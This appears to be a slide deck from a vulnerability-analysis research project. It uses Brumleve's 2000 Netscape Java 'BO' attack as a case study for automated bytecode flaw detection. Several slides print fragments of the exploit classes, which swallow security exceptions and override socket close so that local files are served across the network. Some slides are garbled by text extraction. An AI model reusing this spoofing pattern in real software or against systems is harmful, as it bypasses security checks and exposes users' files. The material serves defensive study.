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SVA Project Goals

� Build characterization
of vulnerabilities to
support automated
analysis
� Semantic rigor
� Organized / Modular
� Reusable
� Extendable

� Build inference &
analysis tools to detect
vulnerabilities
� Automation
� Mixed initiative

� Demonstrate detection
of real vulnerabilities
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SVA Project strategy

Subtle flaws
� Elude smart compiler – buffer overflow detection increasingly tractable
� Multiple element interactions – possibly great complexity
� Handle protocol implementations –  optimization can cloud interactions
� Typically require human assessment & guided search to assess impact

Subtle FlawsBuffer Overflow
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SVA Project flow

Actual
flaw case

Semantic
taxonomy

Flaws
language

Automated
tools
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August 8, 2000: real flaws

     2000.08.03, San Francisco

     I've discovered a pair of new capabilities in Java, one residing in the Java core and the
other in Netscape's Java distribution. The first (exploited in BOServerSocket
and BOSocket) allows Java to open a server which can be
accessed by arbitrary clients. The second (BOURLConnection and
BOURLInputStream) allows Java to access arbitrary URLs,
including local files.

[ed note: text taken from Dan Brumleve’s website]

As a demonstration, I've written BOHTTPD for Netscape Communicator. BOHTTPD
is a browser-resident web server and file-sharing tool that demonstrates these two problems
in Netscape Communicator. BOHTTPD will serve files from a directory of your choice,
and will also act as an HTTP/FTP proxy server. [ed note: “open door”]
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Two days later

2000.08.05
     Right now I'm at the internet cafe (Club I) at 850 Folsom in San

Francisco (between 4th and 5th street). I'll be here until 2:00 a.m.
showing demos to anybody interested.

     A guy showed up here and made BOHTTPD multithreaded. This new
functionality is live right now…

     WHOA! I just saw a Windows 2000 system that was still running
BOHTTPD even after Netscape had been apparently terminated. Even
the "Task Manager" showed no trace.     [ed note: “door stays open”]

[ed note: text taken from Dan Brumleve’s website]
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Connecting flaw concepts to code

CERT BUGTRAQ

Code

queries

Mine rich
sources of

flaws

Select flaw
primitives

for a
language

Create tools
for  making
queries on
(byte)code

Byte code

queries

Sensitive
Regions

Spoofable
Methods
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Work with Brumleve’s “BO” attack

Sensitive
Regions

Spoofable
Methods

iadd
iload 3
pop
sipush 334
getfield [cn. Fn:t]
aload_0
…

public class Socket {
…
…
…
…
…
…
…
}

Data:

1031 Netscape
class files

Known Flaw

override non-final methods
in a region handling security

CERT

Known flaws prompt selection of
vulnerability primitives
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Anatomy of the “BO” attack
public class BOHTTP extends Applet {
   …
   public void init () {
   …
   ess = new BOServerSocket(port);
   …
   }
   …
   public void run () {
      BOSocket client;
      …
      client = ess.accept.any();
      BOHTTPConnection ff = new BOHTTPConnection();
      …
    (new Thread(ff)).start();
  }
  …
}
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Anatomy of the “BO” attack
public class BOServerSocket extends ServerSocket {
   …
   public BOSocket accept_any () throws IOException {
      BOSocket s = new BOSocket();
      try { implAccept(s); }
      catch (SecurityException se) { }
      return s;
   }
}

public class BOSocket extends Socket {
   public void close_real () throws IOException {
      super.close();
   }
   public void close () { }
}

Does Nothing!

Does Nothing!
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protected final void implAccept (Socket socket) throws IOException
{ try
   {  socket.impl.address = new InetAddress();
       socket.impl.fd = new FileDescriptor();
       impl.accept(socket.impl);
       SecurityManager securitymanager = System.getSecurityManager();
       if (securitymanager != null)
       { securitymanager.checkAccept(socket.getInetAddress().getHostAddress(),
                                                           socket.getPort());
          return; }
       …
   catch (SecurityException securityexception)
   {

   }
}
public void close () throws IOException
{ impl.close }

Anatomy of the “BO” attack

accept_any from BOServerSocket can thwart!

socket.close();
throw securityexception;

Could be close from BOSocket!
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Anatomy of the “BO” attack

Class BOURLConnection extends URLConnection {
   …
   public BOURLConnection (URL u) {
      super(u);
      connected = true;
   }
}

Class BOURLInputStream extends URLInputStream {
   …
   public BOURLInputStream (URLConnection uc)
        throws IOException {
      super(uc);
      open();
    }
}
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Anatomy of the “BO” attack

class BOHTTPDConnection implements Runnable {
   …
   euc = new BOURLConnection(uu);
   euis = new BOURLInputStream(euc);
   while ((b = euis.read()) >= 0) os.write(b);
   …
}

Files exposed
across the net
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Concepts lead to queries

 Find all spoofable methods

• Non-final methods that can be overridden

 Compute their traces

• Leverage from bytecode verifier

 Find all sensitive regions

• In particular, those handling security
mechanisms

 Look for invocations of spoofable methods that pass
through sensitive regions
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Boolean
Integer
Function
If-then-else
Fun-app

Code synthesis

Base Specs

Target Code

public class Language {

   …

   …

}

Formal
specifications

analysis

Resource
Privilege
Protocol

public class Socket {

Specs for
Application

Domain

Library

Semi-automated
refinement

Analysis Tools
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Formalizing the semantics

Spoofable invocations Sensitive regions

spec Spoofable_Invocation is
  op final?          : method      �  Boolean
  op virtual?      : invocation �  Boolean
  op spoofable? : invocation �  Boolean
  …
  end-spec

spec Sensitive_Region is
  sort Code_Region =
              {context      : method,
                start          : pc,
                end            : pc,
                attributes  : set CR_Attribute}
  sort CR_Attribute = | privileged
                                      | …
  …
  end-spec
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public class Socket {
…
…
…
…
…
…
…
}

Initial queries on Brumleve’s code

New entries for the
semantic taxonomy

Known Flaw
“rediscovered”

Queries:

• Where are sensitive
regions R?

• Where are spoofable
methods M invoked?

•What is intersection?
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Finding more than expected

public class Socket {
…
…
…
…
…
…
…
}

Known Flaw
“rediscovered”

Newly discovered Flaw
(one of 5 new ones; 
exploitation assessment TBD)

Queries:

• spoofable methods

• sensitive regions
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 Finding more than expected
From java.net.DatagramSocket :

public synchronized void receive (DatagramPacket datagrampacket)
     throws IOException
{
   SecurityManager securitymanager = System.getSecurityMaganager();
   synchronized(datagrampacket)
   { if (securitymanager != null) do
      {  InetAddress inetaddress = new InetAddress();
          int I = impl.peek(inetaddress);
          try 
           { securitymanager.checkConnect(inetaddress.getHostAddress(), I);
              break; }
          catch (SecurityException _ex)
           { DatagramPacket datagrampacket2 = new DatagramPacket (new byte[1], 1);
              impl.receive(datagrampacket2); }
       } while (true);
    impl.receive(datagrampacket);
   }
}
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Current vision

Flaw
cases

Semantic
taxonomy

Flaws
language

Automated
tools

Specware Flawfinder™
WorkStation

• Sensitive regions

• Spoofable methods

• …

• Important app’s

• Common flaws

• …

• Q1

• Q2
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Infrastructure

.class files

JCF structures

JVM structures

JVM spoof checker

isomorphi
c

JVM type checker

Dataflow
Engine

Transfer
functions
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Performance

� Several Enhancements
� Multiple entries for curried functions
� Extensive use of hash codes
� Canonical print routines
� Various algorithmic improvements
� Multiple refinements of maps,

sequences, etc.
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Multiple Refinements

                  update             access
Lists           O(1)                O(n)
Arrays        O(N)               O(1)
Trees          O(logN)          O(logN)

Many ways to implement maps
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Which  Refinement?

Map O(N**2)      access

Map Tree

Map Array

Assume N updates followed by N
accesses:

List

O(N log N)  access/update

O(N**2)      update
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Multiple Refinements!

List

Array

Tree

Map
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Multiple Refinements!

List

Array

Tree

O(1)                    O(N)

  O(N)               O(N)
updates           accesses

O(N)                    O(N)                   O(N)

O(N)                    O(1)

O(logN)              O(logN)

O(N)                    O(N)                   O(N)
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Description of Demonstration

� Background:
� Show infrastructure for analyzing Java byte code

� Ideas:
� spoofable invocation – virtual invocation of non-final method

� sensitive region         – try/catch/throw involving security, etc.

� Intersection is a vulnerability
� Demo:

� Write specs to instantiate these ideas
� Generate code to find and report vulnerabilities
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Demo

Start Demo!
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Taxonomies

� Semantically rich connections
Arrows embed one theory into another

� Exploited in semi-automated ways
Results for theories propagate

� Morphisms from one taxonomy node
into a domain theory provide leverage
for constructing the embedding of
children or sibling nodes
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Taxonomies of Vulnerabilities

Developing a useful taxonomy of
vulnerabilities requires:

� Languages for describing flaws
� Theories to express properties of flaws
� Morphisms to relate those theories
� Power tools to exploit morphisms
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Design by Classification

�

B� �

A

��C

D�

E

Refinements (green arrows) are 
organized into a taxonomy 

A

B

C

D

S0

S0
+

S0
++

S0
+++

S1

po

Refinements are accessed and applied
incrementally via a ladder construction 

E

classifying the
structure of S0

applying the
refinement

D � E
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Taxonomy of Collection Datatypes

PROTO-COLLECTION

PROTO-SEQ

PROTO-BAG

PROTO-SET

SEQ

BAG

BAG

LIST

SEQ

SET(TUPLE)

SET

BOUNDED-SET

BIT-VECTOR

ORDERED-SEQ

SET-OVER-LINEAR-ORDER

INDEXED-PARTITION

BOUNDED-SEQ

ARRAY
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Taxonomy of Algorithm Theories

Problem Theory
(D|I ��R|O)

generate-and-test

Constraint  Satisfaction
(R = set of maps) Global Structure

(R = set + recursive partition)
global search
binary Search

backtrack
branch-and-bound

Local Structure
(R = set + relation)

local search
hill climbing

simulated annealing
tabu search

Local Structure
(R = set + relation)
genetic algorithms

Local Poset Structure
(R = set + partial order)

Local Semilattice Structure
(R = semilattice)

GS-CSP
(R = recursively partitioned

 set of maps)

GS-Horn-CSP
(Horn-like Constraints)
constraint propagation

Monotone
 Deflationary Function

fixed point iteration

Integer
Linear

Programming
0-1 methods

Linear
Programming
simplex method

interior point
primal dual

Network Flow
specialized simplex

Ford-Fulkerson

Transportation
NW algorithm

Assignment Problem
Hungarian method

Divide-and-Conquer
divide-and-conquer

Problem Reduction
Generators

dynamic programming
branch-and-bound
game tree search

Complement
Reduction

sieves

Problem Reduction
Structure
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        Synchronously Reusable
examples: transportation, washing machine
constraints: synchronized blocks of reservations
                   min separation between blocks

           Exact Capacity
example: wafer oven
constraint: lb = ub on capacity

         Nonsharable
examples: berth, runway, crew
constraint: capacity = 1

Resource

Consumable
examples: fuel, crew time
constraint: cum. use ��cum. avail

cumulative
availability

cumulative
usage

time
time

time

time

Reusable

time

examples: parking lots, ramp space,
                 parallel processors, power
constraints: upper bound on capacity
                    finite usage intervals

Taxonomy of Resource Theories
(Start-time, Resource-type, Instantaneous demand, Precedes…)

(Duration, Finish-time, max/min-capacity,…)

(Separation)

Transportation Resource
examples: ship, aircraft, truck

(Origin, Destination, speed,
Duration = distance/speed)
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Constructing Refinements

Scheduling0

Scheduling1

po

Scheduling2

po

1. Library of Refinements

Set

Sequence

Resource

Transportation
Resource

Global
Search

Global Search
Algorithm

• Rewrite Simplification
• Context-dependent Simplification
• Finite Differencing
• Case Analysis
• Partial Evaluation

2. Library of Refinement Generators

Global
Search

Global Search
Algorithm Set

Sequence

Scheduling3

Scheduling4

Context-dependent 
Simplification

Finite Differencing
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Languages for Vulnerabilities

�  Ontology:
� Resource, Agent, Action, Manager, …
� Privilege, Authorization, Friend, Enemy, …
� Message, Channel, Send, Receive, Request, …
� File, Owner, Read, Write, Modify, …
� Process, Thread, Exception, Interrupt, …

�  Modal, Meta, or Higher-Order Concepts
� Time, Knowledge, Necessity, Desirability, …
� Race, Deadlock, Cost, …

�  Objectives
� Security, Reliability, Availability, Efficiency, …
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Typical Expressions

� Requests(x, y, action) � trusts(y, x) �
      Executes(y, action)

� Receives(x, msg) �
      Believes(x, sent(author(msg), msg))
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Theory of a Flaw

� Receives(x,request) � Validates(x,request) � Executes(x,request)

� Send(x,y,request) � author(request) = x

� Validates(x,request) �
       Friend(author(request),x) � � Dangerous(request)

� � Dangerous(send(x,y,z))

� Send(Intruder, Dupe, ‘Send(Dupe,Victim,bomb)’)
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Morphisms

�  Resource => Space, Processor, Data, …

�  File         => Unix-File, NT-File, …

�  Privilege  => Read, Write, Execute, …

�  Read       => fread, mmap, …
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Towards a taxonomy

validation
error

configuration
error

synchronization
error

source
(authentication)

input

access
(permissions)

data
boundary
condition

Java

Capabilities
Classes

Java 2
Platform
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Semantic Taxonomy of Flaws

FLAW

SPOOFINGLIE

TROJAN HORSEFORGERY

ALTERED MSG HDR

Boxes are theories.
Arrows are semantic!

B.O. EXAMPLE
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Current vision

Flaw
cases

Semantic
taxonomy

Flaws
language

Automated
tools

Specware Flawfinder™
WorkStation

• Sensitive regions

• Spoofable methods

• …

• Important app’s

• Common flaws

• …

• Q1

• Q2



Kestrel
Institute

Questions
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Software Development by Refinement

Spec0

Spec1

Spec2

 …
Specn

Code �

�

specification
refinement

 …

code
generation

models for Spec0

models for Spec1

Code generation is accomplished via a logic morphism 
from SPEC to the logic of a programming language

models for Spec2

denotes

models for Specn

a model (for Specn)



Kestrel
Institute

Planware Refinements

po

Transportation
Scheduling 0

Resource

Transportation
Resource

Abstract 
Scheduling

Task

Transportation 
TasksTS 1

po

Set(A�B�C)

Indexed-Partition
map(A, Set(A�B�C))

po

TS2

TS3
po

Semilattice Attribute
of  Task

Definite
Constraint

user chooses from the
Resource Taxonomy

user edits the 
Spreadsheet

the rest is automatic!
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Planware Refinements (con’t.)

po

TS4

TS5

DRO

Global Search
 with CP

Global Search
 program

TS6 Definite Constraints

Constraint
Propagation
algorithm

TS7
po

Context-Dependent
Simplification

TS8 Sort + n-attributes

n-tupleTS9
po

CommonLisp code

algorithm design
and

program optimizations
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